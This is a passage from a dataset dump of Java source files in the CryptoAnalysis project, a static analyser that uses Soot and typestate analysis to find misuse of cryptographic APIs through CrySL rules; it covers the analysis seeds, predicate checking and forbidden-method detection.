Options.v().set_process_dir(Arrays.asList(applicationClassPath().split(File.pathSeparator))); Options.v().set_include(getIncludeList()); Options.v().set_exclude(getExcludeList()); Options.v().set_full_resolver(true); Scene.v().loadNecessaryClasses(); Scene.v().setEntryPoints(getEntryPoints()); } private List<SootMethod> getEntryPoints() { List<SootMethod> entryPoints = Lists.newArrayList(); entryPoints.addAll(EntryPoints.v().application()); entryPoints.addAll(EntryPoints.v().methodsOfApplicationClasses()); return entryPoints; } private List<String> getIncludeList() { List<String> includeList = new LinkedList<String>(); includeList.add("java.lang.AbstractStringBuilder"); includeList.add("java.lang.Boolean"); includeList.add("java.lang.Byte"); includeList.add("java.lang.Class"); includeList.add("java.lang.Integer"); includeList.add("java.lang.Long"); includeList.add("java.lang.Object"); includeList.add("java.lang.String"); includeList.add("java.lang.StringCoding"); includeList.add("java.lang.StringIndexOutOfBoundsException"); return includeList; } private List<String> getExcludeList() { List<String> exList = new LinkedList<String>(); List<CrySLRule> rules = getRules(); for(CrySLRule r : rules) { exList.add(r.getClassName()); } return exList; } protected abstract List<CrySLRule> getRules(); // used to set the rules when they are loaded from headless // tests and not from CLI public static void setRules(List<CrySLRule> rules) { HeadlessCryptoScanner.rules = rules; } protected abstract String applicationClassPath(); protected ControlGraph callGraphAlgorithm() { return settings.getControlGraph(); } protected String sootClassPath() { return settings.getSootPath(); } protected String softwareIdentifier(){ return settings.getSoftwareIdentifier(); } protected String getOutputFolder(){ return settings.getReportDirectory(); } protected boolean isPreAnalysis() { return settings.isPreAnalysis(); } protected boolean enableVisualization(){ return settings.isVisualization(); } protected ReportFormat reportFormat() { return settings.getReportFormat(); } protected boolean providerDetection() { return settings.isProviderDetectionAnalysis(); } private static String pathToJCE() { // When whole program mode is disabled, the classpath misses jce.jar return System.getProperty("java.home") + File.separator + "lib" + File.separator + "jce.jar"; } private static int getJavaVersion() { String version = System.getProperty("java.version"); if(version.startsWith("1.")) { version = version.substring(2, 3); } else { int dot = version.indexOf("."); if(dot != -1) { version = version.substring(0, dot); } } return Integer.parseInt(version); } private boolean isModularProject() { String applicationClassPath = applicationClassPath(); File dirName = new File(applicationClassPath); String moduleFile = dirName + File.separator + "module-info.class"; boolean check = new File(moduleFile).exists(); return check; } }
13,501
32.587065
132
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/AlternativeReqPredicate.java
package crypto.analysis; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.stream.Collectors; import boomerang.jimple.Statement; import crypto.interfaces.ISLConstraint; import crypto.rules.CrySLPredicate; public class AlternativeReqPredicate implements ISLConstraint { private static final long serialVersionUID = 9111353268603202392L; private final List<CrySLPredicate> alternatives; private Statement stmt; public AlternativeReqPredicate(CrySLPredicate alternativeOne, Statement stmt) { this.alternatives = new ArrayList<CrySLPredicate>(); this.alternatives.add(alternativeOne); this.stmt = stmt; } public AlternativeReqPredicate(CrySLPredicate alternativeOne, CrySLPredicate alternativeTwo, Statement stmt) { this.alternatives = new ArrayList<CrySLPredicate>(); this.alternatives.add(alternativeOne); this.alternatives.add(alternativeTwo); this.stmt = stmt; } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + ((alternatives == null) ? 0 : alternatives.hashCode()); result = prime * result + ((stmt == null) ? 0 : stmt.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; AlternativeReqPredicate other = (AlternativeReqPredicate) obj; if (alternatives == null) { if (other.alternatives != null) return false; } else if (!alternatives.equals(other.alternatives)) return false; if (stmt == null) { if (other.stmt != null) return false; } else if (!stmt.equals(other.stmt)) return false; return true; } public Statement getLocation() { return stmt; } @Override public String toString() { return "misses " + alternatives.stream().map(e -> e.toString()).collect(Collectors.joining(" OR ")) + ((stmt != null) ? " @ " + stmt.toString() : ""); } @Override public String getName() { return alternatives.stream().map(e -> e.getName()).collect(Collectors.joining(" OR ")); } @Override public Set<String> getInvolvedVarNames() { Set<String> involvedVarNames = new HashSet<>(); for (CrySLPredicate alt : alternatives) { involvedVarNames.addAll(alt.getInvolvedVarNames()); } return involvedVarNames; } @Override public void setLocation(Statement location) { throw new UnsupportedOperationException(); } public List<CrySLPredicate> getAlternatives() { return alternatives; } public boolean addAlternative(CrySLPredicate newAlt) { return alternatives.add(newAlt); } }
2,645
25.727273
152
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/AnalysisSeedWithEnsuredPredicate.java
package crypto.analysis; import java.util.Set; import com.google.common.collect.Lists; import com.google.common.collect.Sets; import com.google.common.collect.Table.Cell; import boomerang.callgraph.ObservableICFG; import boomerang.debugger.Debugger; import boomerang.jimple.Statement; import boomerang.jimple.Val; import boomerang.results.ForwardBoomerangResults; import crypto.rules.StateMachineGraph; import crypto.rules.StateNode; import crypto.rules.TransitionEdge; import crypto.typestate.ExtendedIDEALAnaylsis; import crypto.typestate.SootBasedStateMachineGraph; import ideal.IDEALSeedSolver; import soot.SootMethod; import soot.Unit; import sync.pds.solver.nodes.Node; import typestate.TransitionFunction; public class AnalysisSeedWithEnsuredPredicate extends IAnalysisSeed{ private ForwardBoomerangResults<TransitionFunction> analysisResults; private Set<EnsuredCrySLPredicate> ensuredPredicates = Sets.newHashSet(); private ExtendedIDEALAnaylsis problem; private boolean analyzed; public AnalysisSeedWithEnsuredPredicate(CryptoScanner cryptoScanner, Node<Statement,Val> delegate) { super(cryptoScanner,delegate.stmt(),delegate.fact(), TransitionFunction.one()); } @Override public void execute() { cryptoScanner.getAnalysisListener().seedStarted(this); ExtendedIDEALAnaylsis solver = getOrCreateAnalysis(); solver.run(this); analysisResults = solver.getResults(); for(EnsuredCrySLPredicate pred : ensuredPredicates) ensurePredicates(pred); cryptoScanner.getAnalysisListener().onSeedFinished(this, analysisResults); analyzed = true; } protected void ensurePredicates(EnsuredCrySLPredicate pred) { if(analysisResults == null) return; for(Cell<Statement, Val, TransitionFunction> c : analysisResults.asStatementValWeightTable().cellSet()){ predicateHandler.addNewPred(this,c.getRowKey(), c.getColumnKey(), pred); } } private ExtendedIDEALAnaylsis getOrCreateAnalysis() { problem = new ExtendedIDEALAnaylsis() { @Override protected ObservableICFG<Unit, SootMethod> icfg() { return cryptoScanner.icfg(); } @Override public SootBasedStateMachineGraph getStateMachine() { StateMachineGraph m = new StateMachineGraph(); StateNode s = new StateNode("0", true, true){ @Override public String toString() { return ""; } }; m.addNode(s); m.createNewEdge(Lists.newLinkedList(), s,s); return new SootBasedStateMachineGraph(m); } @Override public CrySLResultsReporter analysisListener() { return cryptoScanner.getAnalysisListener(); } @Override protected Debugger<TransitionFunction> debugger(IDEALSeedSolver<TransitionFunction> solver) { return cryptoScanner.debugger(solver,AnalysisSeedWithEnsuredPredicate.this); } }; return problem; } public void addEnsuredPredicate(EnsuredCrySLPredicate pred) { if(ensuredPredicates.add(pred) && analyzed) ensurePredicates(pred); } @Override public String toString() { return "AnalysisSeedWithEnsuredPredicate:"+this.asNode() +" " + ensuredPredicates; } @Override public Set<Node<Statement, Val>> getDataFlowPath() { return analysisResults.getDataFlowPath(); } }
3,188
27.990909
106
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/AnalysisSeedWithSpecification.java
package crypto.analysis; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.List; import java.util.Map; import java.util.Map.Entry; import java.util.Set; import java.util.stream.Collectors; import com.google.common.collect.HashMultimap; import com.google.common.collect.Lists; import com.google.common.collect.Maps; import com.google.common.collect.Multimap; import com.google.common.collect.Sets; import com.google.common.collect.Table; import com.google.common.collect.Table.Cell; import boomerang.callgraph.ObservableICFG; import boomerang.debugger.Debugger; import boomerang.jimple.AllocVal; import boomerang.jimple.Statement; import boomerang.jimple.Val; import boomerang.results.ForwardBoomerangResults; import crypto.analysis.errors.IncompleteOperationError; import crypto.analysis.errors.TypestateError; import crypto.constraints.ConstraintSolver; import crypto.constraints.ConstraintSolver.EvaluableConstraint; import crypto.extractparameter.CallSiteWithParamIndex; import crypto.extractparameter.ExtractParameterAnalysis; import crypto.extractparameter.ExtractedValue; import crypto.interfaces.ICrySLPredicateParameter; import crypto.interfaces.ISLConstraint; import crypto.rules.CrySLCondPredicate; import crypto.rules.CrySLConstraint; import crypto.rules.CrySLMethod; import crypto.rules.CrySLObject; import crypto.rules.CrySLPredicate; import crypto.rules.StateNode; import crypto.rules.TransitionEdge; import crypto.typestate.CrySLMethodToSootMethod; import crypto.typestate.ExtendedIDEALAnaylsis; import crypto.typestate.ReportingErrorStateNode; import crypto.typestate.SootBasedStateMachineGraph; import crypto.typestate.WrappedState; import ideal.IDEALSeedSolver; import soot.IntType; import soot.Local; import soot.RefType; import soot.SootMethod; import soot.Type; import soot.Unit; import soot.Value; import soot.ValueBox; import soot.jimple.AssignStmt; import soot.jimple.Constant; import soot.jimple.IntConstant; import soot.jimple.InvokeExpr; import soot.jimple.Stmt; import soot.jimple.StringConstant; import soot.jimple.ThrowStmt; import sync.pds.solver.nodes.Node; import typestate.TransitionFunction; import typestate.finiteautomata.ITransition; import typestate.finiteautomata.State; public class AnalysisSeedWithSpecification extends IAnalysisSeed { private final ClassSpecification spec; private ExtendedIDEALAnaylsis analysis; private ForwardBoomerangResults<TransitionFunction> results; private Collection<EnsuredCrySLPredicate> ensuredPredicates = Sets.newHashSet(); private Multimap<Statement, State> typeStateChange = HashMultimap.create(); private Collection<EnsuredCrySLPredicate> indirectlyEnsuredPredicates = Sets.newHashSet(); private Set<ISLConstraint> missingPredicates = Sets.newHashSet(); private ConstraintSolver constraintSolver; private boolean internalConstraintSatisfied; protected Map<Statement, SootMethod> allCallsOnObject = Maps.newLinkedHashMap(); private ExtractParameterAnalysis parameterAnalysis; private Set<ResultsHandler> resultHandlers = Sets.newHashSet(); private boolean secure = true; public AnalysisSeedWithSpecification(CryptoScanner cryptoScanner, Statement stmt, Val val, ClassSpecification spec) { super(cryptoScanner, stmt, val, spec.getFSM().getInitialWeight(stmt)); this.spec = spec; this.analysis = new ExtendedIDEALAnaylsis() { @Override public SootBasedStateMachineGraph getStateMachine() { return spec.getFSM(); } @Override protected ObservableICFG<Unit, SootMethod> icfg() { return cryptoScanner.icfg(); } @Override protected Debugger<TransitionFunction> debugger(IDEALSeedSolver<TransitionFunction> solver) { return cryptoScanner.debugger(solver, AnalysisSeedWithSpecification.this); } @Override public CrySLResultsReporter analysisListener() { return cryptoScanner.getAnalysisListener(); } }; } @Override public String toString() { return "AnalysisSeed [" + super.toString() + " with spec " + spec.getRule().getClassName() + "]"; } public void execute() { cryptoScanner.getAnalysisListener().seedStarted(this); runTypestateAnalysis(); if (results == null) // Timeout occured. return; allCallsOnObject = results.getInvokedMethodOnInstance(); runExtractParameterAnalysis(); checkInternalConstraints(); Multimap<Statement, State> unitToStates = HashMultimap.create(); for (Cell<Statement, Val, TransitionFunction> c : results.asStatementValWeightTable().cellSet()) { unitToStates.putAll(c.getRowKey(), getTargetStates(c.getValue())); for (EnsuredCrySLPredicate pred : indirectlyEnsuredPredicates) { // TODO only maintain indirectly ensured predicate as long as they are not // killed by the rule predicateHandler.addNewPred(this, c.getRowKey(), c.getColumnKey(), pred); } } computeTypestateErrorUnits(); computeTypestateErrorsForEndOfObjectLifeTime(); cryptoScanner.getAnalysisListener().onSeedFinished(this, results); cryptoScanner.getAnalysisListener().collectedValues(this, parameterAnalysis.getCollectedValues()); } private void checkInternalConstraints() { cryptoScanner.getAnalysisListener().beforeConstraintCheck(this); constraintSolver = new ConstraintSolver(this, allCallsOnObject.keySet(), cryptoScanner.getAnalysisListener()); cryptoScanner.getAnalysisListener().checkedConstraints(this, constraintSolver.getRelConstraints()); internalConstraintSatisfied = (0 == constraintSolver.evaluateRelConstraints()); cryptoScanner.getAnalysisListener().afterConstraintCheck(this); } private void runTypestateAnalysis() { analysis.run(this); results = analysis.getResults(); if (results != null) { for (ResultsHandler handler : Lists.newArrayList(resultHandlers)) { handler.done(results); } } } public void registerResultsHandler(ResultsHandler handler) { if (results != null) { handler.done(results); } else { resultHandlers.add(handler); } } private void runExtractParameterAnalysis() { this.parameterAnalysis = new ExtractParameterAnalysis(this.cryptoScanner, allCallsOnObject, spec.getFSM()); this.parameterAnalysis.run(); } private void computeTypestateErrorUnits() { Set<Statement> allTypestateChangeStatements = Sets.newHashSet(); for (Cell<Statement, Val, TransitionFunction> c : results.asStatementValWeightTable().cellSet()) { allTypestateChangeStatements.addAll(c.getValue().getLastStateChangeStatements()); } for (Cell<Statement, Val, TransitionFunction> c : results.asStatementValWeightTable().cellSet()) { Statement curr = c.getRowKey(); if (allTypestateChangeStatements.contains(curr)) { Collection<? extends State> targetStates = getTargetStates(c.getValue()); for (State newStateAtCurr : targetStates) { typeStateChangeAtStatement(curr, newStateAtCurr); } } } } private void computeTypestateErrorsForEndOfObjectLifeTime() { Table<Statement, Val, TransitionFunction> endPathOfPropagation = results.getObjectDestructingStatements(); for (Cell<Statement, Val, TransitionFunction> c : endPathOfPropagation.cellSet()) { Set<SootMethod> expectedMethodsToBeCalled = Sets.newHashSet(); for (ITransition n : c.getValue().values()) { if (n.to() == null) continue; if (!n.to().isAccepting()) { if (n.to() instanceof WrappedState) { WrappedState wrappedState = (WrappedState) n.to(); for (TransitionEdge t : spec.getRule().getUsagePattern().getAllTransitions()) { if (t.getLeft().equals(wrappedState.delegate()) && !t.from().equals(t.to())) { Collection<SootMethod> converted = CrySLMethodToSootMethod.v().convert(t.getLabel()); expectedMethodsToBeCalled.addAll(converted); } } } } } if (!expectedMethodsToBeCalled.isEmpty()) { Statement s = c.getRowKey(); Val val = c.getColumnKey(); if (!(s.getUnit().get() instanceof ThrowStmt)) { cryptoScanner.getAnalysisListener().reportError(this, new IncompleteOperationError(s, val, getSpec().getRule(), this, expectedMethodsToBeCalled)); } } } } private void typeStateChangeAtStatement(Statement curr, State stateNode) { if (typeStateChange.put(curr, stateNode)) { if (stateNode instanceof ReportingErrorStateNode) { ReportingErrorStateNode errorStateNode = (ReportingErrorStateNode) stateNode; cryptoScanner.getAnalysisListener().reportError(this, new TypestateError(curr, getSpec().getRule(), this, errorStateNode.getExpectedCalls())); } } onAddedTypestateChange(curr, stateNode); } private void onAddedTypestateChange(Statement curr, State stateNode) { for (CrySLPredicate predToBeEnsured : spec.getRule().getPredicates()) { if (predToBeEnsured.isNegated()) { continue; } if (isPredicateGeneratingState(predToBeEnsured, stateNode)) { ensuresPred(predToBeEnsured, curr, stateNode); } } } private void ensuresPred(CrySLPredicate predToBeEnsured, Statement currStmt, State stateNode) { if (predToBeEnsured.isNegated()) { return; } boolean satisfiesConstraintSytem = checkConstraintSystem(); if(predToBeEnsured.getConstraint() != null) { ArrayList<ISLConstraint> temp = new ArrayList<>(); temp.add(predToBeEnsured.getConstraint()); satisfiesConstraintSytem = !evaluatePredCond(predToBeEnsured); } for (ICrySLPredicateParameter predicateParam : predToBeEnsured.getParameters()) { if (predicateParam.getName().equals("this")) { expectPredicateWhenThisObjectIsInState(stateNode, currStmt, predToBeEnsured, satisfiesConstraintSytem); } } if (currStmt.isCallsite()) { InvokeExpr ie = ((Stmt) currStmt.getUnit().get()).getInvokeExpr(); SootMethod invokedMethod = ie.getMethod(); Collection<CrySLMethod> convert = CrySLMethodToSootMethod.v().convert(invokedMethod); for (CrySLMethod crySLMethod : convert) { Entry<String, String> retObject = crySLMethod.getRetObject(); if (!retObject.getKey().equals("_") && currStmt.getUnit().get() instanceof AssignStmt && predicateParameterEquals(predToBeEnsured.getParameters(), retObject.getKey())) { AssignStmt as = (AssignStmt) currStmt.getUnit().get(); Value leftOp = as.getLeftOp(); AllocVal val = new AllocVal(leftOp, currStmt.getMethod(), as.getRightOp(), new Statement(as, currStmt.getMethod())); expectPredicateOnOtherObject(predToBeEnsured, currStmt, val, satisfiesConstraintSytem); } int i = 0; for (Entry<String, String> p : crySLMethod.getParameters()) { if (predicateParameterEquals(predToBeEnsured.getParameters(), p.getKey())) { Value param = ie.getArg(i); if (param instanceof Local) { Val val = new Val(param, currStmt.getMethod()); expectPredicateOnOtherObject(predToBeEnsured, currStmt, val, satisfiesConstraintSytem); } } i++; } } } } private boolean predicateParameterEquals(List<ICrySLPredicateParameter> parameters, String key) { for (ICrySLPredicateParameter predicateParam : parameters) { if (key.equals(predicateParam.getName())) { return true; } } return false; } private void expectPredicateOnOtherObject(CrySLPredicate predToBeEnsured, Statement currStmt, Val accessGraph, boolean satisfiesConstraintSytem) { // TODO refactor this method. boolean matched = false; for (ClassSpecification spec : cryptoScanner.getClassSpecifictions()) { if (accessGraph.value() == null) { continue; } Type baseType = accessGraph.value().getType(); if (baseType instanceof RefType) { RefType refType = (RefType) baseType; if (spec.getRule().getClassName().equals(refType.getSootClass().getName()) || spec.getRule().getClassName().equals(refType.getSootClass().getShortName())) { if (satisfiesConstraintSytem) { AnalysisSeedWithSpecification seed = cryptoScanner.getOrCreateSeedWithSpec(new AnalysisSeedWithSpecification(cryptoScanner, currStmt, accessGraph, spec)); matched = true; seed.addEnsuredPredicateFromOtherRule(new EnsuredCrySLPredicate(predToBeEnsured, parameterAnalysis.getCollectedValues())); } } } } if (matched) return; AnalysisSeedWithEnsuredPredicate seed = cryptoScanner.getOrCreateSeed(new Node<Statement, Val>(currStmt, accessGraph)); predicateHandler.expectPredicate(seed, currStmt, predToBeEnsured); if (satisfiesConstraintSytem) { seed.addEnsuredPredicate(new EnsuredCrySLPredicate(predToBeEnsured, parameterAnalysis.getCollectedValues())); } else { missingPredicates.add(new RequiredCrySLPredicate(predToBeEnsured, currStmt)); } } private void addEnsuredPredicateFromOtherRule(EnsuredCrySLPredicate ensuredCrySLPredicate) { indirectlyEnsuredPredicates.add(ensuredCrySLPredicate); if (results == null) return; for (Cell<Statement, Val, TransitionFunction> c : results.asStatementValWeightTable().cellSet()) { for (EnsuredCrySLPredicate pred : indirectlyEnsuredPredicates) { predicateHandler.addNewPred(this, c.getRowKey(), c.getColumnKey(), pred); } } } private void expectPredicateWhenThisObjectIsInState(State stateNode, Statement currStmt, CrySLPredicate predToBeEnsured, boolean satisfiesConstraintSytem) { predicateHandler.expectPredicate(this, currStmt, predToBeEnsured); if (!satisfiesConstraintSytem) return; for (Cell<Statement, Val, TransitionFunction> e : results.asStatementValWeightTable().cellSet()) { // TODO check for any reachable state that don't kill // predicates. if (containsTargetState(e.getValue(), stateNode)) { predicateHandler.addNewPred(this, e.getRowKey(), e.getColumnKey(), new EnsuredCrySLPredicate(predToBeEnsured, parameterAnalysis.getCollectedValues())); } } } private boolean containsTargetState(TransitionFunction value, State stateNode) { return getTargetStates(value).contains(stateNode); } private Collection<? extends State> getTargetStates(TransitionFunction value) { Set<State> res = Sets.newHashSet(); for (ITransition t : value.values()) { if (t.to() != null) res.add(t.to()); } return res; } private boolean checkConstraintSystem() { cryptoScanner.getAnalysisListener().beforePredicateCheck(this); Set<ISLConstraint> relConstraints = constraintSolver.getRelConstraints(); boolean checkPredicates = checkPredicates(relConstraints); cryptoScanner.getAnalysisListener().afterPredicateCheck(this); if (!checkPredicates) return false; return internalConstraintSatisfied; } private boolean checkPredicates(Collection<ISLConstraint> relConstraints) { List<ISLConstraint> requiredPredicates = Lists.newArrayList(); for (ISLConstraint con : constraintSolver.getRequiredPredicates()) { if (!ConstraintSolver.predefinedPreds.contains((con instanceof RequiredCrySLPredicate) ? ((RequiredCrySLPredicate) con).getPred().getPredName() : ((AlternativeReqPredicate) con).getAlternatives().get(0).getPredName())) { requiredPredicates.add(con); } } Set<ISLConstraint> remainingPredicates = Sets.newHashSet(requiredPredicates); missingPredicates.removeAll(remainingPredicates); for (ISLConstraint pred : requiredPredicates) { if (pred instanceof RequiredCrySLPredicate) { RequiredCrySLPredicate reqPred = (RequiredCrySLPredicate) pred; if (reqPred.getPred().isNegated()) { for (EnsuredCrySLPredicate ensPred : ensuredPredicates) { if (ensPred.getPredicate().equals(reqPred.getPred())) { return false; } } remainingPredicates.remove(pred); } else { for (EnsuredCrySLPredicate ensPred : ensuredPredicates) { if (ensPred.getPredicate().equals(reqPred.getPred()) && doPredsMatch(reqPred.getPred(), ensPred)) { remainingPredicates.remove(pred); } } } } else { AlternativeReqPredicate alt = (AlternativeReqPredicate) pred; List<CrySLPredicate> alternatives = alt.getAlternatives(); boolean satisfied = false; List<CrySLPredicate> negatives = alternatives.parallelStream().filter(e -> e.isNegated()).collect(Collectors.toList()); if (negatives.size() == alternatives.size()) { for (EnsuredCrySLPredicate ensPred : ensuredPredicates) { if (alternatives.parallelStream().anyMatch(e -> e.getPredName().equals(ensPred.getPredicate().getPredName()))) { return false; } } remainingPredicates.remove(pred); } else if (negatives.isEmpty()) { for (EnsuredCrySLPredicate ensPred : ensuredPredicates) { if (alternatives.parallelStream().anyMatch(e -> ensPred.getPredicate().equals(e) && doPredsMatch(e, ensPred))) { remainingPredicates.remove(pred); break; } } } else { boolean neg = true; for (EnsuredCrySLPredicate ensPred : ensuredPredicates) { if (negatives.parallelStream().anyMatch(e -> e.equals(ensPred.getPredicate()))) { neg = false; } alternatives.removeAll(negatives); if (alternatives.parallelStream().allMatch(e -> ensPred.getPredicate().equals(e) && doPredsMatch(e, ensPred))) { satisfied = true; } if (satisfied | neg) { remainingPredicates.remove(pred); } } } } } for (ISLConstraint rem : Lists.newArrayList(remainingPredicates)) { if (rem instanceof RequiredCrySLPredicate) { RequiredCrySLPredicate singlePred = (RequiredCrySLPredicate) rem; if (evaluatePredCond(singlePred.getPred())) { remainingPredicates.remove(singlePred); } } else if (rem instanceof CrySLConstraint) { List<CrySLPredicate> altPred = ((AlternativeReqPredicate) rem).getAlternatives(); if (altPred.parallelStream().anyMatch(e -> evaluatePredCond(e))) { remainingPredicates.remove(rem); } } } this.missingPredicates.addAll(remainingPredicates); return remainingPredicates.isEmpty(); } private boolean evaluatePredCond(CrySLPredicate pred) { final ISLConstraint conditional = pred.getConstraint(); if (conditional != null) { EvaluableConstraint evalCons = constraintSolver.createConstraint(conditional); evalCons.evaluate(); if (evalCons.hasErrors()) { return true; } } return false; } private boolean doPredsMatch(CrySLPredicate pred, EnsuredCrySLPredicate ensPred) { boolean requiredPredicatesExist = true; for (int i = 0; i < pred.getParameters().size(); i++) { String var = pred.getParameters().get(i).getName(); if (isOfNonTrackableType(var)) { continue; } else if (pred.getInvolvedVarNames().contains(var)) { final String parameterI = ensPred.getPredicate().getParameters().get(i).getName(); Collection<String> actVals = Collections.emptySet(); Collection<String> expVals = Collections.emptySet(); for (CallSiteWithParamIndex cswpi : ensPred.getParametersToValues().keySet()) { if (cswpi.getVarName().equals(parameterI)) { actVals = retrieveValueFromUnit(cswpi, ensPred.getParametersToValues().get(cswpi)); } } for (CallSiteWithParamIndex cswpi : parameterAnalysis.getCollectedValues().keySet()) { if (cswpi.getVarName().equals(var)) { expVals = retrieveValueFromUnit(cswpi, parameterAnalysis.getCollectedValues().get(cswpi)); } } String splitter = ""; int index = -1; if (pred.getParameters().get(i) instanceof CrySLObject) { CrySLObject obj = (CrySLObject) pred.getParameters().get(i); if (obj.getSplitter() != null) { splitter = obj.getSplitter().getSplitter(); index = obj.getSplitter().getIndex(); } } for (String foundVal : expVals) { if (index > -1) { foundVal = foundVal.split(splitter)[index]; } actVals = actVals.parallelStream().map(e -> e.toLowerCase()).collect(Collectors.toList()); requiredPredicatesExist &= actVals.contains(foundVal.toLowerCase()); } } else { requiredPredicatesExist = false; } } return pred.isNegated() != requiredPredicatesExist; } private Collection<String> retrieveValueFromUnit(CallSiteWithParamIndex cswpi, Collection<ExtractedValue> collection) { Collection<String> values = new ArrayList<String>(); for (ExtractedValue q : collection) { Unit u = q.stmt().getUnit().get(); if (cswpi.stmt().equals(q.stmt())) { if (u instanceof AssignStmt) { values.add(retrieveConstantFromValue(((AssignStmt) u).getRightOp().getUseBoxes().get(cswpi.getIndex()).getValue())); } else { values.add(retrieveConstantFromValue(u.getUseBoxes().get(cswpi.getIndex()).getValue())); } } else if (u instanceof AssignStmt) { final Value rightSide = ((AssignStmt) u).getRightOp(); if (rightSide instanceof Constant) { values.add(retrieveConstantFromValue(rightSide)); } else { final List<ValueBox> useBoxes = rightSide.getUseBoxes(); // varVal.put(callSite.getVarName(), // retrieveConstantFromValue(useBoxes.get(callSite.getIndex()).getValue())); } } // if (u instanceof AssignStmt) { // final List<ValueBox> useBoxes = ((AssignStmt) u).getRightOp().getUseBoxes(); // if (!(useBoxes.size() <= cswpi.getIndex())) { // values.add(retrieveConstantFromValue(useBoxes.get(cswpi.getIndex()).getValue())); // } // } else if (cswpi.getStmt().equals(u)) { // values.add(retrieveConstantFromValue(cswpi.getStmt().getUseBoxes().get(cswpi.getIndex()).getValue())); // } } return values; } private String retrieveConstantFromValue(Value val) { if (val instanceof StringConstant) { return ((StringConstant) val).value; } else if (val instanceof IntConstant || val.getType() instanceof IntType) { return val.toString(); } else { return ""; } } private final static List<String> trackedTypes = Arrays.asList("java.lang.String", "int", "java.lang.Integer"); private boolean isOfNonTrackableType(String varName) { for (Entry<String, String> object : spec.getRule().getObjects()) { if (object.getValue().equals(varName) && trackedTypes.contains(object.getKey())) { return false; } } return true; } public ClassSpecification getSpec() { return spec; } public void addEnsuredPredicate(EnsuredCrySLPredicate ensPred) { if (ensuredPredicates.add(ensPred)) { for (Entry<Statement, State> e : typeStateChange.entries()) onAddedTypestateChange(e.getKey(), e.getValue()); } } private boolean isPredicateGeneratingState(CrySLPredicate ensPred, State stateNode) { return ensPred instanceof CrySLCondPredicate && isConditionalState(((CrySLCondPredicate) ensPred).getConditionalMethods(), stateNode) || (!(ensPred instanceof CrySLCondPredicate) && stateNode.isAccepting()); } private boolean isConditionalState(Set<StateNode> conditionalMethods, State state) { if (conditionalMethods == null) return false; for (StateNode s : conditionalMethods) { if (new WrappedState(s).equals(state)) { return true; } } return false; } public Set<ISLConstraint> getMissingPredicates() { return missingPredicates; } public ExtractParameterAnalysis getParameterAnalysis() { return parameterAnalysis; } @Override public int hashCode() { final int prime = 31; int result = super.hashCode(); result = prime * result + ((spec == null) ? 0 : spec.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (!super.equals(obj)) return false; if (getClass() != obj.getClass()) return false; AnalysisSeedWithSpecification other = (AnalysisSeedWithSpecification) obj; if (spec == null) { if (other.spec != null) return false; } else if (!spec.equals(other.spec)) return false; return true; } public boolean isSecure() { return secure; } public void setSecure(boolean secure) { this.secure = secure; } @Override public Set<Node<Statement, Val>> getDataFlowPath() { return results.getDataFlowPath(); } public Map<Statement, SootMethod> getAllCallsOnObject() { return allCallsOnObject; } }
23,876
35.621166
209
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ClassSpecification.java
package crypto.analysis; import java.util.Collection; import java.util.List; import java.util.Optional; import boomerang.WeightedForwardQuery; import boomerang.callgraph.ObservableICFG; import boomerang.debugger.Debugger; import boomerang.jimple.Statement; import crypto.analysis.errors.ForbiddenMethodError; import crypto.rules.CrySLForbiddenMethod; import crypto.rules.CrySLRule; import crypto.typestate.CrySLMethodToSootMethod; import crypto.typestate.ExtendedIDEALAnaylsis; import crypto.typestate.SootBasedStateMachineGraph; import ideal.IDEALSeedSolver; import soot.SootMethod; import soot.Unit; import soot.jimple.InvokeExpr; import soot.jimple.Stmt; import typestate.TransitionFunction; public class ClassSpecification { private ExtendedIDEALAnaylsis extendedIdealAnalysis; private CrySLRule crySLRule; private final CryptoScanner cryptoScanner; private final SootBasedStateMachineGraph fsm; public ClassSpecification(final CrySLRule rule, final CryptoScanner cScanner) { this.crySLRule = rule; this.cryptoScanner = cScanner; this.fsm = new SootBasedStateMachineGraph(rule.getUsagePattern()); this.extendedIdealAnalysis = new ExtendedIDEALAnaylsis() { @Override public SootBasedStateMachineGraph getStateMachine() { return fsm; } @Override public CrySLResultsReporter analysisListener() { return cryptoScanner.getAnalysisListener(); } @Override public ObservableICFG<Unit, SootMethod> icfg() { return cryptoScanner.icfg(); } @Override protected Debugger<TransitionFunction> debugger(IDEALSeedSolver<TransitionFunction> solver) { return cryptoScanner.debugger(solver, null); } }; } public boolean isLeafRule() { return crySLRule.isLeafRule(); } public Collection<WeightedForwardQuery<TransitionFunction>> getInitialSeeds(SootMethod m) { return extendedIdealAnalysis.computeSeeds(m); } @Override public String toString() { return crySLRule.getClassName().toString(); } public void invokesForbiddenMethod(SootMethod m) { if ( !m.hasActiveBody()) { return; } for (Unit u : m.getActiveBody().getUnits()) { if (u instanceof Stmt) { Stmt stmt = (Stmt) u; if (!stmt.containsInvokeExpr()) continue; InvokeExpr invokeExpr = stmt.getInvokeExpr(); SootMethod method = invokeExpr.getMethod(); Optional<CrySLForbiddenMethod> forbiddenMethod = isForbiddenMethod(method); if (forbiddenMethod.isPresent()){ cryptoScanner.getAnalysisListener().reportError(null, new ForbiddenMethodError(new Statement((Stmt)u, cryptoScanner.icfg().getMethodOf(u)), this.getRule(), method, CrySLMethodToSootMethod.v().convert(forbiddenMethod.get().getAlternatives()))); } } } } private Optional<CrySLForbiddenMethod> isForbiddenMethod(SootMethod method) { // TODO replace by real specification once available. List<CrySLForbiddenMethod> forbiddenMethods = crySLRule.getForbiddenMethods(); // System.out.println(forbiddenMethods); //TODO Iterate over ICFG and report on usage of forbidden method. for(CrySLForbiddenMethod m : forbiddenMethods){ if(!m.getSilent()){ Collection<SootMethod> matchingMethod = CrySLMethodToSootMethod.v().convert(m.getMethod()); if(matchingMethod.contains(method)) return Optional.of(m); } } return Optional.empty(); } public CrySLRule getRule() { return crySLRule; } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + 